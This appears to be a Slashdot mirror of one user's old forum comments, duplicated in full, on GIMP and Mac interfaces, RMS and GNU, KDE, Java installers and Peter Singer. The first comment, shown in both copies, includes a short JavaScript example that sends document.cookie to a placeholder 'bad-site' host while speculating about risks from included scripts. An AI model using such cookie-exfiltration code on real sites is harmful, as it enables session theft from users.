I *think* the worst that can happen is the snooping of cookies and othe request information from the site that's including the "bad script" back to the originator of the "bad script".
Using that example, I think you could do something like the following (included script shown):
var cookieStr = encodeCookies(document.cookie); var win = window.open("gotcha", "http://bad-site/grabdata.pl?"+cookieStr);
And not just cookie data, but other request info. In general, I don't think this is a big problem, but I'm normally not nearly creative enough at seeing how things can be exploited.
I didn't read the Singer article so I might be missing a point somewhere. Killing for convenience should cause most people to feel really really bad, or at least it would me. The only way I think it is justifyable is when the patient asks for it, as a favor.
I think you're right - as I understand it, you are missing the point. Singer isn't advocating removing a person against their will for the betterment of the whole, he's advocating euthenizing a newborn that wouldn't have a chance of living more than a few months, and even then uncomfortably. So rather than have the child suffer for months and then die, it dies peacefully, for the good of the child.
Not that I agree or disagree, but the media has been twisting his view into something that sounds as monsterous as they're making him out to be.
The context menu key, and Win-D, are very handy if you are forced to navigate without a mouse. It's only way to get at several functions that are only present in those #$%^& right-click menus.
Actually, and I nave no idea where I first learned of this tidbit, "Shift-F10" is the same as the context-key.
What I really want is a Win-key combo to bring up the control panel. Oh wait, actually what I really want is to never touch Windows again, but the control panel key would be nice until then.
You can always do it the "hard way" with Ctrl+Esc "S" "C", but I don't know of any way of doing it directly. I'm always reluctant to use the Win key becuase I'll never forgive it for making all keyboards unusable for playing Doom w/ the keyboard;). (Ctrl and Alt get too far apart for the way I play) I miss my 101 key keyboards:)
Tatara
Re: Easy to learn != Easy to use (Wish List)
on
Myth II Linux Demo
·
· Score: 2
PPS If you don't like the interface, buy a mouse with the right number of buttons, and repeat after me "Easy to learn != Easy to use".
I'd be the last person to criticize a free software project, since I'm long overdue to do some serious contributing, but I only agree with your statement above if you allow '!=' to be "isn't necessarily". Just reading the posts in this thread, it seems that there's a consensus that while Gimp and Photoshop are in the same league, the interface for Gimp is holding it back. It isn't more powerful by being obscure.
I've never used Photoshop personally, but I've seen it used (a web guy at work is showing me some of the tricks), and I have tried to use Gimp. I have a right-mouse button, but the menus within menus within menus is error prone when you're not careful. It's a very impressive program, but a bit confusing to find things in. There's something to be said for using a program, not using it for a while, and not having to re-learn it again when you go back to it. But hey, I'm biased, I'm a UI developer:).
Feel free to mail me for my thoughts specifically; I wish I had time to help out somewhere, but where I work my time is completely used up right now. I'd love to give feedback and advice, but I don't have time to write code. Take that at whatever value you want to give it.
Rick Sanders (a.k.a. Tatara) rsanders@csli.stanford.edu
PS: That having been said, it's still a damned cool program.
PPS: Dumb question: are there tools in Gimp for really basic stuff like a rectangles or circles? Feel free to respond with an 'RTFM', because I haven't, I just tried hunting around for it and failed to find it.
Re:M$ reverse engineers (did they?)
on
UCITA is passed
·
· Score: 1
Considering M$ is currently in a "battle" with AOL after they reverse engineered their messenging protocol (e.g. AOL Instant Messenger), I doubt M$ will be fighting to make reverse engineering illegal.
Since AOL published the protocol at one point to promote 3rd party clients, it doesn't seem like reverse engineering to me.
(Don't remember which article I saw that in, but one of the MS vs. AOL articles here mentioned that AOL had at one point published that - feel free to correct me if I'm wrong)
Having written and tried to distribute a Java application myself, I think I know at least some of why this is the case. At least in my experience, while you can distribute a Java application in "raw" (i.e. jar/zip/class) form, it's not a clean solution.
The delays are probably because they want to make sure the installation, which is at some level going to be platform specific, is clean. If they're using a good installer for Java applications (I think they're using InstallAnywhere), it shouldn't take them long to put those online.
I've never felt comfortable distributing something with a README (except perhaps on Linux).. it just feels wrong. Installation should be easy. Perhaps if they were asked, they'd put the class files online.
Then again, maybe they just put off testing with the MRJ and Blackdown JDK until after the Win32-based JDKs.
I'm in a bad mood today, so perhaps I shouldn't be responding to this, but I couldn't ignore this (from the link that was posted):
Rating the mac for "power":
Mac - The Mac is easy, the Mac is cool -- but there are many things that you are going to want to do (occasionally), that the Mac might not do. You may want to add your own keyboard shortcut -- well, you can do it, but you have to add third party extensions. You may want to script menu commands? The Mac can do that. You may want to add your own menu items (or menus) -- well the Mac does that as well (in the Apple Menu, normally, and add other menus with some extensions). You want to have tear-off menus -- again, with third party extensions. You want pop-up menubar (anywhere) -- an extension. You want contextual menus? Well, they are part of the System, but they are new enough that they are not used nearly often enough (but it has a nice extensible architecture). Overall, you will notice a theme here -- Apple has set a pretty good foundation, it is wildly extensible (often too much so) -- but Apple has not done all they could do to make menus better and more powerful. -- SCORE: 4
Sooo, if you wanted to do something "powerful", you, don't worry, it's only 23 3rd party programs and 38 unimplemented UI extensions away! And *what* is this guy's fixation with menus? All I have to say for the Mac UI's "power" is - unplug the mouse. I'm sorry, can't you do *anything*? And why does a UI that's so mouse-centric put the menubar the farthest area from where you work? Oh, it's easy, but "powerful"?
Yeah, yeah, Mac's easy to use, Mac's endorsed by every Ph.D. that ever designed a UI, but when it comes down to actually getting anything useful done, I'll take my Windows UI or KDE any day. I work with a guy who worked at Apple, and he's shown me lots of cool things about the Mac, but drivel like this makes me want to dismiss it as a waste of time. This is definitely *not* good Mac advocacy.
And for the record, I use a Powerbook, for my portable (for Java testing), and run dual-boot on my main machine. I don't think there is a best OS, though with nonsense such as this, I think I'm fairly sure I know my least favorite.
Yes, there's a great deal of reuse possible in all this stuff, but the genius of Unix is as much in its focus upon small, highly-specialized programs that can be combined in ways never imagined by the original developers. Where is small in KDE/Gnome? Where is "lightweight"?
"Lightweight" is just where you've come to expect it, from the command line, and all of the small, highly-specialized programs you've come to know and love are still there. The purpose of Desktops is that they're supposed to remove the sense that every app is a special case. This is all well and good for nice, specialized command-line utilities, and undaunting for experienced users. The integration and similarities of applications that a desktop such as KDE or Gnome introduces benefits users who don't want to feel that they're relearning something totally different with every application they run.
I think KDE and GNOME make good on what they're trying to do, even if they don't fit the old mold of specialization and uniqueness. Though perhaps I'm jaded, since I'm one of those freaks that thought that the only thing that Microsoft did right with Win95 was the UI - even if it wasn't their work.
If you don't like Richards attitude don't use GNU.
Yep, there's freedom for you; all you have to do use "free software" is mindlessly follow dictator Stallman.
As much as it grates "his highness", I like the convenience of varous GNU utilities, and often find them preferable to their proprietary counterparts. I think the GPL is a great idea to keep the software free for future innovation, however I don't find it enslaving to use proprietary software if the software is well-written.
I don't care for RMS's attitude, but it doesn't change my appreciation for free software. As he mentions, there's a lot of different aspects of it to like; however much he wished the contrary, people will like it for the reasons that suit them.
No, RMS is responsible for almost everything that comprises of a core UNIX system *EXEPT* the kernel. RMS did a lot more work that Linus.
First off, I'm not disputing this. I think RMS has done an amazing thing by writing the GPL. I don't entirely agree with his opinions, but I respect his steadfast nature and his consistency. Also, while I don't use emacs, I have to respect his programming talent.
And what the hell do thier personalities have to do with acceptance of thier beleifs? This is computer software, not Hollywood. How many people judge software by its authors?
The thing is, RMS's latest complaints have nothing to do with programming and everything to do with credit and visibility. He objects to the attention Linus is getting because he feels it diminishes the importance of GNU and free software in the public eye.
GNU was important to the development to Linux, but I for one am glad that in the latest flood of Linux publicity, RMS is not at the center of it. His biting and rude personality would stain the very thing he's trying to promote. The first time I read an interview someone did with RMS, I was shocked that so many people were behind him. His attitude was just repulsive. It wasn't until later that I went back and did some research and figured out why he's been so instrumental in Free Software.
So in the context of public image, I think that RMS's shortcomings in that area are entirely relevant; GNU will become more well known as more people become curious about Linux anyway.
> No, RMS is responsible for almost everything > that comprises of a core UNIX system *EXEPT* the > kernel. RMS did a lot more work that Linus First off, I'm not disputing this. I think RMS has done an amazing thing by writing the GPL. I don't entirely agree with his opinions, but I respect his steadfast nature and his consistency. I don't use emacs, but I have to respect his programming talent. > And what the hell do thier personalities have to > do with acceptance of thier beleifs? This is > computer software, not Hollywood. How many > people judge software by its authors? The thing is, RMS's latest complaints have nothing to do with programming and everything to do with credit and visibility. He objects to the attention Linus is getting because he feels it diminishes the importance of GNU and free software in the public eye. GNU was important to the development to Linux, but I for one am glad that in the latest flood of Linux publicity, RMS is not at the center of it. His biting and rude personality would stain the very thing he's trying to promote. The first time I read an interview someone did with RMS, I was shocked that so many people were behind him. His attitude was just repulsive. It wasn't until later that I went back and did some research and figured out why he's been so instrumental in Free Software. So in the context of public image, I think that RMS's shortcomings in that area are entirely relevant; GNU will become more well known as more people become curious about Linux anyway.
I don't think this is true, just from the nature of software vs. inventions of the types you mentioned. The investment to innovate things at the level of the Cotton Gin or Steamboat is huge in terms of both expertise and raw materials. In software, at the lowest level all you need is an interest in something (anything) related to some aspect of the machine, and with a very cheap investment (hardware and a possibly free OS/software), you can innovate. That's why Free Software has put so much power into the hands of "hobbyists".
Software will probably stabalize somewhat at some point, but it's not about a specific "product"; it's a whole new world of innovation. I think we're a good long ways away from that stabilization. Meanwhile (for the next 20 years at least, most likely), 20 years is far too long.
Well, the short answer is that you don't have to run a shitty underlying OS to get a friendly desktop, but both the Qt widget set and KWM (I haven't used any other window managers with KDE) have the advantage of having fully-functional keyboard operational support. By default, you can change applications and focus within applications with just they keyboard. (I've never used GNOME so I can't speak for that)
Also configuration in KDE was made to be GUI-based, rather than the more traditional Xresources config files. (yah, I'm a wuss, we should all configure everything with vi/emacs, right?)
I agree with you that pretty UIs are all well and good, but usability is the bottom line.
Slashdot Mirror
I *think* the worst that can happen is the snooping of cookies and othe request information from the site that's including the "bad script" back to the originator of the "bad script".
Using that example, I think you could do something like the following (included script shown):
var cookieStr = encodeCookies(document.cookie);
var win = window.open("gotcha", "http://bad-site/grabdata.pl?"+cookieStr);
And not just cookie data, but other request info. In general, I don't think this is a big problem, but I'm normally not nearly creative enough at seeing how things can be exploited.
I didn't read the Singer article so I might be missing a point somewhere. Killing for convenience should cause most people to feel really really bad, or at least it would me. The only way I think it is justifyable is when the patient asks for it, as a favor.
I think you're right - as I understand it, you are missing the point. Singer isn't advocating removing a person against their will for the betterment of the whole, he's advocating euthenizing a newborn that wouldn't have a chance of living more than a few months, and even then uncomfortably. So rather than have the child suffer for months and then die, it dies peacefully, for the good of the child.
Not that I agree or disagree, but the media has been twisting his view into something that sounds as monsterous as they're making him out to be.
TataraThe context menu key, and Win-D, are very handy if you are forced to navigate without a mouse. It's only way to get at several functions that are only present in those #$%^& right-click menus.
Actually, and I nave no idea where I first learned of this tidbit, "Shift-F10" is the same as the context-key.
What I really want is a Win-key combo to bring up the control panel. Oh wait, actually what I really want is to never touch Windows again, but the control panel key would be nice until then.
You can always do it the "hard way" with Ctrl+Esc "S" "C", but I don't know of any way of doing it directly. I'm always reluctant to use the Win key becuase I'll never forgive it for making all keyboards unusable for playing Doom w/ the keyboard ;). (Ctrl and Alt get too far apart for the way I play) I miss my 101 key keyboards :)
Tatara
buttons, and repeat after me "Easy to learn != Easy to use".
I'd be the last person to criticize a free software project, since I'm long overdue to do some serious contributing, but I only agree with your statement above if you allow '!=' to be "isn't necessarily". Just reading the posts in this thread, it seems that there's a consensus that while Gimp and Photoshop are in the same league, the interface for Gimp is holding it back. It isn't more powerful by being obscure.
I've never used Photoshop personally, but I've seen it used (a web guy at work is showing me some of the tricks), and I have tried to use Gimp. I have a right-mouse button, but the menus within menus within menus is error prone when you're not careful. It's a very impressive program, but a bit confusing to find things in. There's something to be said for using a program, not using it for a while, and not having to re-learn it again when you go back to it. But hey, I'm biased, I'm a UI developer :).
Feel free to mail me for my thoughts specifically; I wish I had time to help out somewhere, but where I work my time is completely used up right now. I'd love to give feedback and advice, but I don't have time to write code. Take that at whatever value you want to give it.
Rick Sanders (a.k.a. Tatara)
rsanders@csli.stanford.edu
PS: That having been said, it's still a damned cool program.
PPS: Dumb question: are there tools in Gimp for really basic stuff like a rectangles or circles? Feel free to respond with an 'RTFM', because I haven't, I just tried hunting around for it and failed to find it.
Considering M$ is currently in a "battle" with AOL after they reverse engineered their messenging protocol (e.g. AOL Instant Messenger), I doubt M$ will be fighting to make reverse engineering illegal.
Since AOL published the protocol at one point to promote 3rd party clients, it doesn't seem like reverse engineering to me.
(Don't remember which article I saw that in, but one of the MS vs. AOL articles here mentioned that AOL had at one point published that - feel free to correct me if I'm wrong)
Tatara
Having written and tried to distribute a Java application myself, I think I know at least some of why this is the case. At least in my experience, while you can distribute a Java application in "raw" (i.e. jar/zip/class) form, it's not a clean solution.
The delays are probably because they want to make sure the installation, which is at some level going to be platform specific, is clean. If they're using a good installer for Java applications (I think they're using InstallAnywhere), it shouldn't take them long to put those online.
I've never felt comfortable distributing something with a README (except perhaps on Linux).. it just feels wrong. Installation should be easy. Perhaps if they were asked, they'd put the class files online.
Then again, maybe they just put off testing with the MRJ and Blackdown JDK until after the Win32-based JDKs.
Tatara
I'm in a bad mood today, so perhaps I shouldn't be responding to this, but I couldn't ignore this (from the link that was posted):
Rating the mac for "power":
Mac - The Mac is easy, the Mac is cool -- but there are many things that you are going to want to do (occasionally), that the Mac might not do. You may want to add your own keyboard shortcut -- well, you can do it, but you have to add third party extensions. You may want to script menu commands? The Mac can do that. You may want to add your own menu items (or menus) -- well the Mac does that as well (in the Apple Menu, normally, and add other menus with some extensions). You want to have tear-off menus -- again, with third party extensions. You want pop-up menubar (anywhere) -- an extension. You want contextual menus? Well, they are part of the System, but they are new enough that they are not used nearly often enough (but it has a nice extensible architecture). Overall, you will notice a theme here -- Apple has set a pretty good foundation, it is wildly extensible (often too much so) -- but Apple has not done all they could do to make menus better and more powerful. -- SCORE: 4
Sooo, if you wanted to do something "powerful", you, don't worry, it's only 23 3rd party programs and 38 unimplemented UI extensions away! And *what* is this guy's fixation with menus? All I have to say for the Mac UI's "power" is - unplug the mouse. I'm sorry, can't you do *anything*? And why does a UI that's so mouse-centric put the menubar the farthest area from where you work? Oh, it's easy, but "powerful"?
Yeah, yeah, Mac's easy to use, Mac's endorsed by every Ph.D. that ever designed a UI, but when it comes down to actually getting anything useful done, I'll take my Windows UI or KDE any day. I work with a guy who worked at Apple, and he's shown me lots of cool things about the Mac, but drivel like this makes me want to dismiss it as a waste of time. This is definitely *not* good Mac advocacy.
And for the record, I use a Powerbook, for my portable (for Java testing), and run dual-boot on my main machine. I don't think there is a best OS, though with nonsense such as this, I think I'm fairly sure I know my least favorite.
Yes, there's a great deal of reuse possible in all this stuff, but the genius of Unix is as much in its focus upon small, highly-specialized programs that can be combined in ways never imagined by the original developers. Where is small in KDE/Gnome? Where is "lightweight"?
"Lightweight" is just where you've come to expect it, from the command line, and all of the small, highly-specialized programs you've come to know and love are still there. The purpose of Desktops is that they're supposed to remove the sense that every app is a special case. This is all well and good for nice, specialized command-line utilities, and undaunting for experienced users. The integration and similarities of applications that a desktop such as KDE or Gnome introduces benefits users who don't want to feel that they're relearning something totally different with every application they run.
I think KDE and GNOME make good on what they're trying to do, even if they don't fit the old mold of specialization and uniqueness. Though perhaps I'm jaded, since I'm one of those freaks that thought that the only thing that Microsoft did right with Win95 was the UI - even if it wasn't their work.
Just my $0.02....
OK then do the right thing.
If you don't like Richards attitude don't use GNU.
Yep, there's freedom for you; all you have to do use "free software" is mindlessly follow dictator Stallman.
As much as it grates "his highness", I like the convenience of varous GNU utilities, and often find them preferable to their proprietary counterparts. I think the GPL is a great idea to keep the software free for future innovation, however I don't find it enslaving to use proprietary software if the software is well-written.
I don't care for RMS's attitude, but it doesn't change my appreciation for free software. As he mentions, there's a lot of different aspects of it to like; however much he wished the contrary, people will like it for the reasons that suit them.
No, RMS is responsible for almost everything that comprises of a core UNIX system *EXEPT* the kernel. RMS did a lot more work that Linus.
First off, I'm not disputing this. I think RMS has done an amazing thing by writing the GPL. I don't entirely agree with his opinions, but I respect his steadfast nature and his consistency. Also, while I don't use emacs, I have to respect his programming talent.
And what the hell do thier personalities have to do with acceptance of thier beleifs? This is computer software, not Hollywood. How many people judge software by its authors?
The thing is, RMS's latest complaints have nothing to do with programming and everything to do with credit and visibility. He objects to the attention Linus is getting because he feels it diminishes the importance of GNU and free software in the public eye.
GNU was important to the development to Linux, but I for one am glad that in the latest flood of Linux publicity, RMS is not at the center of it. His biting and rude personality would stain the very thing he's trying to promote. The first time I read an interview someone did with RMS, I was shocked that so many people were behind him. His attitude was just repulsive. It wasn't until later that I went back and did some research and figured out why he's been so instrumental in Free Software.
So in the context of public image, I think that RMS's shortcomings in that area are entirely relevant; GNU will become more well known as more people become curious about Linux anyway.
Tatara
> No, RMS is responsible for almost everything > that comprises of a core UNIX system *EXEPT* the > kernel. RMS did a lot more work that Linus First off, I'm not disputing this. I think RMS has done an amazing thing by writing the GPL. I don't entirely agree with his opinions, but I respect his steadfast nature and his consistency. I don't use emacs, but I have to respect his programming talent. > And what the hell do thier personalities have to > do with acceptance of thier beleifs? This is > computer software, not Hollywood. How many > people judge software by its authors? The thing is, RMS's latest complaints have nothing to do with programming and everything to do with credit and visibility. He objects to the attention Linus is getting because he feels it diminishes the importance of GNU and free software in the public eye. GNU was important to the development to Linux, but I for one am glad that in the latest flood of Linux publicity, RMS is not at the center of it. His biting and rude personality would stain the very thing he's trying to promote. The first time I read an interview someone did with RMS, I was shocked that so many people were behind him. His attitude was just repulsive. It wasn't until later that I went back and did some research and figured out why he's been so instrumental in Free Software. So in the context of public image, I think that RMS's shortcomings in that area are entirely relevant; GNU will become more well known as more people become curious about Linux anyway.
I don't think this is true, just from the nature of software vs. inventions of the types you mentioned. The investment to innovate things at the level of the Cotton Gin or Steamboat is huge in terms of both expertise and raw materials. In software, at the lowest level all you need is an interest in something (anything) related to some aspect of the machine, and with a very cheap investment (hardware and a possibly free OS/software), you can innovate. That's why Free Software has put so much power into the hands of "hobbyists".
Software will probably stabalize somewhat at some point, but it's not about a specific "product"; it's a whole new world of innovation. I think we're a good long ways away from that stabilization. Meanwhile (for the next 20 years at least, most likely), 20 years is far too long.
Well, the short answer is that you don't have to run a shitty underlying OS to get a friendly desktop, but both the Qt widget set and KWM (I haven't used any other window managers with KDE) have the advantage of having fully-functional keyboard operational support. By default, you can change applications and focus within applications with just they keyboard. (I've never used GNOME so I can't speak for that)
Also configuration in KDE was made to be GUI-based, rather than the more traditional Xresources config files. (yah, I'm a wuss, we should all configure everything with vi/emacs, right?)
I agree with you that pretty UIs are all well and good, but usability is the bottom line.